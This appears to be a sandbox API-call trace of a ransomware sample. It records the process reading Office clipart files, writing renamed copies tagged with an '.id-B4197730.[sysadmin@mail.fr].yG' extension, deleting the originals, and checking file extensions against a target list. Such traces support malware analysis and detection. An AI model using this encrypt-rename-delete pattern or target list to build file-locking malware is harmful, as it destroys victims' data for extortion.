	[0166.874] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x175c, lpOverlapped=0x0) returned 1
	[0166.877] WriteFile (in: hFile=0x558, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1760, lpOverlapped=0x0) returned 1
	[0166.879] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.879] WriteFile (in: hFile=0x558, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.879] SetEndOfFile (hFile=0x558) returned 1
	[0166.879] CloseHandle (hObject=0x558) returned 1
	[0166.879] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.880] SetEndOfFile (hFile=0x364) returned 1
	[0166.883] CloseHandle (hObject=0x364) returned 1
	[0166.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1
	[0166.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0166.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0166.884] lstrlenW (lpString=".doc") returned 4
	[0166.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.884] lstrlenW (lpString=".docx") returned 5
	[0166.884] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0166.885] lstrlenW (lpString=".pdf") returned 4
	[0166.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.885] lstrlenW (lpString=".xls") returned 4
	[0166.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.885] lstrlenW (lpString=".xlsx") returned 5
	[0166.885] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0166.885] lstrlenW (lpString=".ppt") returned 4
	[0166.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0166.885] lstrlenW (lpString=".zip") returned 4
	[0166.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.885] lstrlenW (lpString=".rar") returned 4
	[0166.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.885] lstrlenW (lpString=".bz2") returned 4
	[0166.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.885] lstrlenW (lpString=".7z") returned 3
	[0166.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0166.886] lstrlenW (lpString=".dbf") returned 4
	[0166.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0166.886] lstrlenW (lpString=".1cd") returned 4
	[0166.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0166.886] lstrlenW (lpString=".jpg") returned 4
	[0166.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.888] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8252) returned 1
	[0166.888] CloseHandle (hObject=0x364) returned 1
	[0166.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220
	[0166.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0166.890] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.890] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.891] GetLastError () returned 0x0
	[0166.891] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x203c, lpOverlapped=0x0) returned 1
	[0166.893] WriteFile (in: hFile=0x558, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2040, lpOverlapped=0x0) returned 1
	[0166.895] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.895] WriteFile (in: hFile=0x558, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.895] SetEndOfFile (hFile=0x558) returned 1
	[0166.895] CloseHandle (hObject=0x558) returned 1
	[0166.895] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.895] SetEndOfFile (hFile=0x364) returned 1
	[0167.039] CloseHandle (hObject=0x364) returned 1
	[0167.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1
	[0167.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0167.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0167.452] lstrlenW (lpString=".doc") returned 4
	[0167.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.452] lstrlenW (lpString=".docx") returned 5
	[0167.452] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0167.452] lstrlenW (lpString=".pdf") returned 4
	[0167.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.452] lstrlenW (lpString=".xls") returned 4
	[0167.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.452] lstrlenW (lpString=".xlsx") returned 5
	[0167.452] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0167.452] lstrlenW (lpString=".ppt") returned 4
	[0167.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0167.453] lstrlenW (lpString=".zip") returned 4
	[0167.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.453] lstrlenW (lpString=".rar") returned 4
	[0167.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.453] lstrlenW (lpString=".bz2") returned 4
	[0167.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.453] lstrlenW (lpString=".7z") returned 3
	[0167.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0167.453] lstrlenW (lpString=".dbf") returned 4
	[0167.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0167.453] lstrlenW (lpString=".1cd") returned 4
	[0167.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0167.453] lstrlenW (lpString=".jpg") returned 4
	[0167.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.454] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=6244) returned 1
	[0167.454] CloseHandle (hObject=0x48c) returned 1
	[0167.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220
	[0167.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0167.458] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.458] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0167.466] GetLastError () returned 0x0
	[0167.466] ReadFile (in: hFile=0x48c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1864, lpOverlapped=0x0) returned 1
	[0167.481] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1870, lpOverlapped=0x0) returned 1
	[0167.485] ReadFile (in: hFile=0x48c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.485] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.486] SetEndOfFile (hFile=0x360) returned 1
	[0167.486] CloseHandle (hObject=0x360) returned 1
	[0167.487] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.487] SetEndOfFile (hFile=0x48c) returned 1
	[0167.495] CloseHandle (hObject=0x48c) returned 1
	[0167.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1
	[0167.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0167.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0167.498] lstrlenW (lpString=".doc") returned 4
	[0167.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.500] lstrlenW (lpString=".docx") returned 5
	[0167.500] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0167.501] lstrlenW (lpString=".pdf") returned 4
	[0167.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.501] lstrlenW (lpString=".xls") returned 4
	[0167.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.501] lstrlenW (lpString=".xlsx") returned 5
	[0167.501] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0167.501] lstrlenW (lpString=".ppt") returned 4
	[0167.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0167.502] lstrlenW (lpString=".zip") returned 4
	[0167.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.502] lstrlenW (lpString=".rar") returned 4
	[0167.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.502] lstrlenW (lpString=".bz2") returned 4
	[0167.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.503] lstrlenW (lpString=".7z") returned 3
	[0167.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0167.503] lstrlenW (lpString=".dbf") returned 4
	[0167.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0167.503] lstrlenW (lpString=".1cd") returned 4
	[0167.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0167.504] lstrlenW (lpString=".jpg") returned 4
	[0167.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.677] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=18728) returned 1
	[0167.677] CloseHandle (hObject=0x554) returned 1
	[0167.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220
	[0167.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0167.678] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.678] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0167.680] GetLastError () returned 0x0
	[0167.680] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x4928, lpOverlapped=0x0) returned 1
	[0167.683] WriteFile (in: hFile=0x48c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4930, lpOverlapped=0x0) returned 1
	[0167.685] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.685] WriteFile (in: hFile=0x48c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.685] SetEndOfFile (hFile=0x48c) returned 1
	[0167.685] CloseHandle (hObject=0x48c) returned 1
	[0167.685] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.685] SetEndOfFile (hFile=0x554) returned 1
	[0167.690] CloseHandle (hObject=0x554) returned 1
	[0167.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1
	[0167.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0167.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0167.692] lstrlenW (lpString=".doc") returned 4
	[0167.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.692] lstrlenW (lpString=".docx") returned 5
	[0167.692] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0167.692] lstrlenW (lpString=".pdf") returned 4
	[0167.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.692] lstrlenW (lpString=".xls") returned 4
	[0167.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.692] lstrlenW (lpString=".xlsx") returned 5
	[0167.692] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0167.692] lstrlenW (lpString=".ppt") returned 4
	[0167.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0167.692] lstrlenW (lpString=".zip") returned 4
	[0167.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.693] lstrlenW (lpString=".rar") returned 4
	[0167.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.693] lstrlenW (lpString=".bz2") returned 4
	[0167.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.693] lstrlenW (lpString=".7z") returned 3
	[0167.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0167.693] lstrlenW (lpString=".dbf") returned 4
	[0167.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0167.693] lstrlenW (lpString=".1cd") returned 4
	[0167.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0167.693] lstrlenW (lpString=".jpg") returned 4
	[0167.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.694] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4148) returned 1
	[0167.694] CloseHandle (hObject=0x554) returned 1
	[0167.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220
	[0167.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0167.695] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.695] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0167.696] GetLastError () returned 0x0
	[0167.697] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1034, lpOverlapped=0x0) returned 1
	[0167.728] WriteFile (in: hFile=0x48c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1040, lpOverlapped=0x0) returned 1
	[0167.729] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.729] WriteFile (in: hFile=0x48c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.729] SetEndOfFile (hFile=0x48c) returned 1
	[0167.730] CloseHandle (hObject=0x48c) returned 1
	[0167.730] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.730] SetEndOfFile (hFile=0x554) returned 1
	[0167.734] CloseHandle (hObject=0x554) returned 1
	[0167.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1
	[0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0167.736] lstrlenW (lpString=".doc") returned 4
	[0167.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.736] lstrlenW (lpString=".docx") returned 5
	[0167.736] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0167.736] lstrlenW (lpString=".pdf") returned 4
	[0167.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.736] lstrlenW (lpString=".xls") returned 4
	[0167.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
